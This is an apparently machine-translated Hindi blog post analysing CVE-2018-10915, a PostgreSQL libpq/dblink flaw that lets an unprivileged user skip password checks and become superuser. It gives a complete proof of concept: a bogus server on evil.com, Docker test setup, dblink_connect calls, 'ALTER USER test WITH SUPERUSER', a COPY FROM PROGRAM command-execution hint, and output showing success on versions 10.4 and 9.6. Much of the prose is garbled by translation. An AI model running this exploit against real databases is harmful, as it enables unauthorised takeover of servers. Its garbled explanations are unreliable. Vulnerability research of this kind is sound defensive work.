PostgreSQL विशेषाधिकार वृद्धि - CVE-2018-10915 पार्सिंग

यह कोई रहस्य नहीं है कि राज्य की कारें हमारे बीच हैं। वे यूआई से नेटवर्क स्टैक तक हर जगह शाब्दिक हैं। कभी जटिल, कभी सरल। कभी-कभी सुरक्षा-संबंधी, कभी-कभी बहुत नहीं। लेकिन, अक्सर, अध्ययन करने के लिए काफी आकर्षक :) आज मैं पोस्टग्रेसीक्यू - CVE-2018-10915 के साथ एक मजेदार मामले के बारे में बात करना चाहता हूं , जिससे सुपरसुसर को विशेषाधिकार बढ़ाने की अनुमति मिली ।

छोटा इंट्रो

जैसा कि आप जानते हैं, प्रबंधित डेटाबेस दुनिया को गति देते हैं। यह आश्चर्य की बात नहीं है - यदि आपके पास एक सरल है, आवेदन की मांग नहीं है, तो अपने स्वयं के आधार की तैयारी के साथ अभिशाप क्यों करें। वास्तव में, अधिकांश क्लाउड (या विशेष) प्रदाताओं के साथ, आप अपने आप को एक MySQL / PostgreSQL / MongoDB / etc डेटाबेस प्राप्त कर सकते हैं और कभी भी खुशी से रह सकते हैं। बेशक, यह अतिरिक्त समस्याओं का कारण बना, जैसा कि यदि पहले, डेटाबेस में अधिकांश सुरक्षा समस्याओं का फायदा उठाने के लिए, आपको पहले ऐप प्राप्त करना होता था (जो कि ज्यादातर मामलों में गेम खत्म हो जाता है), अब वे नंगी गांड उनका इंटरफ़ेस हमलावर के लिए खड़ा है। इस तथ्य के बारे में एक टिप्पणी होनी चाहिए कि अगला अवरोध उच्च गुणवत्ता वाला बुनियादी ढांचा होना चाहिए और यह सच है, लेकिन आज इस बारे में नहीं है।

CVE-2018-10915 का सार

• ज्यादातर मामलों में, PostgreSQL को स्थानीय कनेक्शन के लिए प्रमाणीकरण की आवश्यकता नहीं होती है। सरकारी डॉकटर छवि से एक उदाहरण:

# pg_hba.conf from PostgreSQL docker image # note: debian pkg marked only "local" connections as trusted # "local" is for Unix domain socket connections only local all all trust # IPv4 local connections: host all all 127.0.0.1/32 trust # IPv6 local connections: host all all ::1/128 trust 

• Dblink और postgres_fdw एक्सटेंशन के लिए धन्यवाद, आप दूरस्थ डेटाबेस से कनेक्ट कर सकते हैं। और मंचों से देखते हुए, उपभोक्ताओं से अक्सर उनकी उपलब्धता के बारे में पूछा जाता है;)
• लेखकों को पहले से ही विशेषाधिकार वृद्धि पर जला दिया गया था, इसलिए उन्होंने प्रमाणीकरण के बिना एक हैक प्रतिबंध कनेक्शन बनाया:

 // https://github.com/postgres/postgres/blob/0993b8ada53395a8c8a59401a7b4cfb501f6aaef/contrib/dblink/dblink.c#L2621-L2639 static void dblink_security_check(PGconn *conn, remoteConn *rconn) { if (!superuser()) { if (!PQconnectionUsedPassword(conn)) { PQfinish(conn); if (rconn) pfree(rconn); ereport(ERROR, (errcode(ERRCODE_S_R_E_PROHIBITED_SQL_STATEMENT_ATTEMPTED), errmsg("password is required"), errdetail("Non-superuser cannot connect if the server does not request a password."), errhint("Target server's authentication method must be changed."))); } } } // https://github.com/postgres/postgres/blob/0993b8ada53395a8c8a59401a7b4cfb501f6aaef/src/interfaces/libpq/fe-connect.c#L6305-L6314 int PQconnectionUsedPassword(const PGconn *conn) { if (!conn) return false; if (conn->password_needed) return true; else return false; } 

• password_needed ध्वज सर्वर से AUTH_REQ_MD5 या AUTH_REQ_PASSWORD संदेश प्राप्त करने के बाद राज्य मशीन द्वारा सेट किया जाता है
• libpq कई IP (pg 9.x) या होस्ट (pg 10.x / 11.x) को बायपास कर सकता है
• हमारे लिए दो सुविधाजनक मामलों में password_needed ध्वज सेट करने के बाद राज्य मशीन अगले IP / होस्ट पर जाती है:
  
  • हम एक लेखन सत्र ( target_session_attrs=read-write ) चाहते हैं, और सर्वर केवल-पढ़ने के लिए है
  • एक unknown application_name त्रुटि मिलने पर
• अगले आईपी / होस्ट पर जाते समय, pDDropConnection को कहा जाता है , जो कनेक्शन डेटा को बहुत ही चुनिंदा रूप से साफ़ करता है (क्योंकि उनमें से कुछ को फिर से जोड़ने की आवश्यकता हो सकती है)। संकेत: password_needed रीसेट नहीं किया गया
• यह dblink_security_check चेक को दरकिनार करने की अनुमति देता है, जैसा कि जब अगले मेजबान से जुड़ा होता है, तो ध्वज पिछले मूल्य के साथ रहता है
• लाभ

इस प्रकार, यदि हमारे पास इस होस्ट के लिए विश्वसनीय कनेक्शन के साथ dblink और PostgreSQL तक पहुंच है, तो हम एक पासवर्ड के साथ प्रमाणीकरण की आवश्यकता को दरकिनार कर सकते हैं, postgres सुपरवाइज़र की ओर से कनेक्ट कर सकते हैं, और अपनी ओर से कुछ भी निष्पादित कर सकते हैं (उदाहरण के लिए, मनमाने आदेशों का उपयोग करके COPY foo FROM PROGRAM 'whoami';

सिद्धांत से अभ्यास करने के लिए - PostgreSQL 10.4!

लेकिन आप केवल एक सिद्धांत से तंग नहीं होंगे, इसलिए मैंने इस भेद्यता का फायदा उठाने का एक छोटा सा उदाहरण तैयार किया। हम PostgreSQL 10.4 के साथ शुरू करेंगे।

• शुरू करने के लिए, एक सरल पोस्टग्रैसक्यूएल सर्वर ( बोगस-पीजीएसआरवी ) लिखें और चलाएं, जिसे किसी भी अनुरोध के लिए पासवर्ड प्रमाणीकरण की आवश्यकता होगी और इसे प्राप्त करने के बाद, एक त्रुटि भेजें ERRCODE_APPNAME_UNKNOWN :

 $ psql "host=evil.com user=test password=test application_name=bar" psql: ERROR: unknown app name could not connect to server: Connection refused Is the server running on host "evil.com" (1.1.1.1) and accepting TCP/IP connections on port 5432? 

• अब परीक्षण PostgreSQL तैयार करें:

 $ docker run -it -d -p 5432:5432 -e POSTGRES_PASSWORD=somepass postgres:10.4 e5f07b396d51059c3abf53c8f4f78b0b90a9966289e6df03eb4eccaeeb364545 $ psql "host=localhost user=postgres password=somepass" <<'SQL' CREATE USER test WITH PASSWORD 'test'; CREATE DATABASE test; \c test CREATE EXTENSION dblink; SQL 

• हम जाँचते हैं कि उपयोगकर्ता test विशिष्ट अधिकार नहीं हैं:

 $ psql "host=localhost user=test password=test" <<'SQL' \du SQL List of roles Role name | Attributes | Member of -----------+------------------------------------------------------------+----------- postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {} test 

• उत्कृष्ट, अब हम काम करते हैं:

 $ psql "host=localhost user=test password=test" <<'SQL' select * from dblink_connect('host=evil.com,localhost user=postgres password=foo application_name=bar'); select dblink_exec('ALTER USER test WITH SUPERUSER;'); \du SQL dblink_connect ---------------- OK (1 row) dblink_exec ------------- ALTER ROLE (1 row) List of roles Role name | Attributes | Member of -----------+------------------------------------------------------------+----------- postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {} test | Superuser 

• बस इतना ही। हम जो चाहें कर सकते हैं ^ _ ^

सिद्धांत से अभ्यास तक - PostgreSQL 9.6!

PostgreSQL 9.x के साथ, चीजें थोड़ी अधिक जटिल हैं, क्योंकि यह कनेक्ट करने के लिए मेजबानों की सूची की गणना का समर्थन नहीं करता है। लेकिन अगर पता कई आईपी में बदल जाता है, तो यह उन सभी को दरकिनार कर देगा! और कब से IPv6 पतों में प्राथमिकता है ( RFC6724 देखें), हम केवल AAAA अनुरोध के लिए हमारे IPs का जवाब देकर और ERRCODE_APPNAME_UNKNOWN को भेजने के बाद कुछ सेकंड के लिए 127.0.0.1 से A + ड्रॉपिंग कनेक्शन के लिए ऐसा ही कर ERRCODE_APPNAME_UNKNOWN :

• DNS तैयार करें:

 $ host 2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com 2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com has address 127.0.0.1 2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com has IPv6 address 2a01:7e01::f03c:91ff:fe3b:c9ba 

• एक ही फर्जी pgsql चलाते हैं
• और फिर से परीक्षण तैयार करें PostgreSQL (IPv6 को डॉकटर के लिए काम करना चाहिए, यह महत्वपूर्ण है):

 $ docker run -it -d -p 5432:5432 -e POSTGRES_PASSWORD=somepass postgres:9.6 dfda35ab80ae9dbd69322d00452b7d829f90874b7c70f03bd4e05afec97d296c $ psql "host=localhost user=postgres password=somepass" <<'SQL' CREATE USER test WITH PASSWORD 'test'; CREATE DATABASE test; \c test CREATE EXTENSION dblink; SQL 

• हम काम करते हैं:

 $ psql "host=localhost user=test password=test" <<'SQL' select * from dblink_connect('host=2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com user=postgres password=foo application_name=bar'); select dblink_exec('ALTER USER test WITH SUPERUSER;'); \du SQL dblink_connect ---------------- OK (1 row) dblink_exec ------------- ALTER ROLE (1 row) List of roles Role name | Attributes | Member of -----------+------------------------------------------------------------+----------- postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {} test | Superuser | {} 

• बस इतना ही। हम जो चाहें कर सकते हैं ^ _ ^

निष्कर्ष

मैं कुछ चतुर लिखकर निष्कर्ष निकालना चाहता था, लेकिन, दुर्भाग्य से, मेरे पास यह जांचने का कोई अच्छा, सरल और सार्वभौमिक तरीका नहीं है कि आपकी राज्य मशीन के साथ सब कुछ ठीक है। विभिन्न प्रयास हैं, लेकिन मैंने जो देखा, वे या तो बहुत अधिक विशिष्ट हैं, या वे अभी भी तार्किक त्रुटियों का सामना करते हैं। यह सतर्कता और समीक्षा पर आंखों की एक अतिरिक्त जोड़ी के लिए आशा बनी हुई है :(